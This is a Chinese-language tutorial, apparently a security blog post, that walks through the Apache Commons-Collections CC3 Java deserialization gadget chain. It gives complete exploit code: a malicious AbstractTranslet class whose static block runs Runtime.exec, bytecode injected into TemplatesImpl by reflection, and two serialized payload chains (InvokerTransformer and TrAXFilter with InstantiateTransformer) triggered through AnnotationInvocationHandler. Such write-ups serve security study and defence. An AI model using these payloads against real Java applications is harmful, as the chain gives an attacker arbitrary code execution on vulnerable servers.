CC1打不通时的另外一条链CC3

在CC1和CC6中，我们最终弹计算器都是通过Runtime.exec进行调用，从CC3我们要介绍一种不通过Runtime来弹计算器的方法，也就是Java中常提到的动态类加载，动态类加载可以让我们通过一个路径来加载一个恶意类，如果这个恶意类在静态代码块或构造代码块中写入了恶意方法，那么我们就可以通过找一条链子来初始化这个类（一般在进行实例化时会对类进行初始化），从而达到代码块中的代码执行。

ClassLoader中的defineClass最终实现了类的动态加载（后面还有一些过程但已经是依靠c来实现的了），在ClassLoader中可以看到一堆defineClass，我们查找用法，看一下哪个defineClass在别处被调用了，而且权限最好是default或者public，方便我们利用，最终锁定下面这个：

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
        throws ClassFormatError

这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下，也是一个defineClass：

这个defineClass又在当前类中被defineTransletClasses调用：

defineTransletClasses同类下有三个被调用点，我们看一下哪个方法可以被我们利用：

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第一个返回_class：


private synchronized Class[] getTransletClasses() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _class;
    }

第二个返回了_class的下标：

public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _transletIndex;
    }

第三个方法我们主要看newInstance这里，这个_class[_transletIndex]可控（通过上面找到的defineTransletClasses动态加载进来），如果我们让_class为我们所构造的恶意类并让它newInstance，那么就可以执行恶意类中的静态/构造代码块中的代码，所以我们接着找这个方法的调用点：

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

下一调用点还是在这个类中，我们找到newTransformer()这个方法：

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

我们来梳理一下到目前的调用链，很短也很方便：

我们先将payload写出来：

TemplatesImpl templatesimpl = new TemplatesImpl();
        templatesimpl.newTransformer();

写完啦下班！（开个玩笑）逻辑上来说这两行代码确实是完整的调用链，我们接下来要做的就是对类内部的各种属性进行赋值：

newTransformer内不需要进行赋值操作，跟进到getTransletInstance中，类内没有对_name和_class进行赋值，如果想要触发defineTransletClasses()我们就需要让_name不为空，_class为空，直接不给_class赋值即可：

if (_name == null) return null;

if (_class == null) defineTransletClasses();

继续跟进到defineTransletClasses中，如果想要走到下面动态加载_class，我们这里要注意对_tfactory进行赋值，否则对一个空属性调用方法，会爆空指针异常：

return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());

上一步之后我们在对_class赋值这里可以看到是通过修改_bytecodes从而控制_class的值：

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);

一共三个需要修改的值，TemplatesImpl类是可序列化的，所以我们可以直接通过反射修改这些值，看一下这几个值的类型:

private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;

都是private属性，所以要用setAccessible 来修改访问权限，name是String类型，所以直接赋个字符串就行：

                Class tmp = templatesimpl.getClass();
        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

再看_bytecodes，一个二维数组，但我们在给_class赋值时defineClass接受的却是一个一维数组：

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);

Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);

所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中，这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass，这个class需要我们在写好java源码后手动编译为class文件，最好把这个class文件复制到电脑上的别的地方再在这里使用（编译后的class文件一般在target下）：

Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

Test.class

public class Calc {
    static{
        try {
            Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
        } catch (IOException e) {                             //win下还是calc
            throw new RuntimeException(e);
        }

    }
}

然后我们再来改_tfactory的值：

这里要注意一下，被transient关键字修饰的属性是不参与序列化的，也就是说就算我们通过反射修改了它的值，反序列化后的二进制流这个属性的值也依旧是null，所以这里我们要用其他的方式赋值

private transient TransformerFactoryImpl _tfactory = null;

我们在readObject中发现有对这些属性进行赋值的操作，_tfactory的值是一个TransformerFactoryImpl实例：

_name = (String)gf.get("_name", null);
   //以下几行代码对序列化流中的属性读取它们的值，如果读不到值那么将它的值设为默认值（第二个参数）    
              _bytecodes = (byte[][])gf.get("_bytecodes", null);
        _class = (Class[])gf.get("_class", null);
        _transletIndex = gf.get("_transletIndex", -1);

        _outputProperties = (Properties)gf.get("_outputProperties", null);
        _indentNumber = gf.get("_indentNumber", 0);

        if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }

        _tfactory = new TransformerFactoryImpl();
    }

我们先不进行序列化和反序列化，我们先用反射修改_tfactory的值，看看能不能弹计算器（这里我们并没有进行序列化和反序列化，所以其实就是用反射修改了个值，所以是可以修改成功的）：

TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        templatesimpl.newTransformer();

没有弹出来计算器，爆了空指针异常，通过调试发现在_class成功加载类后，是这里抛出了异常：

final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

第一个if检查_class的父类是否叫ABSTRACT_TRANSLET ，如果没有进入到if里面那么else中的_auxClasses为空，就会抛空指针，并且下面第二个if中也会抛异常，为了避免这两个抛异常的点，我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类：

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

修改恶意类，继承的父类中有两个抽象方法需要进行重写：

public class Calc extends AbstractTranslet{
    static{
        try {
            Runtime.getRuntime().exec("open -na Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

现在就可以弹出计算器了，如果你这里没有弹出来，看一下import的包是不是有问题，TemplatesImpl和TransformerFactoryImpl的路径一定要是com.xxx，如果是org.xxx是不能用的：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class CC3Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        templatesimpl.newTransformer();

    }
}

下面我们要想办法执行templatesimpl.newTransformer，这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行：

TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(templatesimpl),
            new InvokerTransformer("newTransformer",null,null)
        });
        ctf.transform(1);

剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了，直接粘过来就是：

package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;

public class CC3Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(templatesimpl),
            new InvokerTransformer("newTransformer",null,null)
        });
        HashMap map = new HashMap();
        map.put("value","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }
}

相较于CC1来说一个是通过调用Runtime来进行命令执行，一个是通过动态类加载进行代码执行，如果过滤了Runtime我们就可以尝试用这条CC3

接下来我们在来说ysoserial上用的另一条调用链：

我们回到newTransformer，刚才说的是用CC1后半段直接调用，我们接着向下找调用newTransformer 的地方，最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上，这个类没有继承serialize接口，也就是说我们没办法通过反射来修改实例中属性的值，但是我们想到对属性值进行初始化的操作一般在构造函数中，我们来看一下它的构造函数：

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

我们可以通过这个构造函数来控制这个templates的值，所以下一步就是要找可以调用这个构造函数的地方，ysoserial中给出了InstantiateTransformer 这个类，通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数：

 public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }

也就是说下面两行代码就可以执行newTransformer了：

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);

最终还是用ChainedTransformer包裹起来执行：

TemplatesImpl templatesimpl = new TemplatesImpl();
        Class tmp = templatesimpl.getClass();

        Field nameField = tmp.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesimpl,"y1");

        Field bytecodesField = tmp.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templatesimpl,codes);

        Field tfactoryfield = tmp.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        });
        HashMap map = new HashMap();
        map.put("value","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

完整的CC6调用链，当InvokerTransformer被ban时就可以用这条链：

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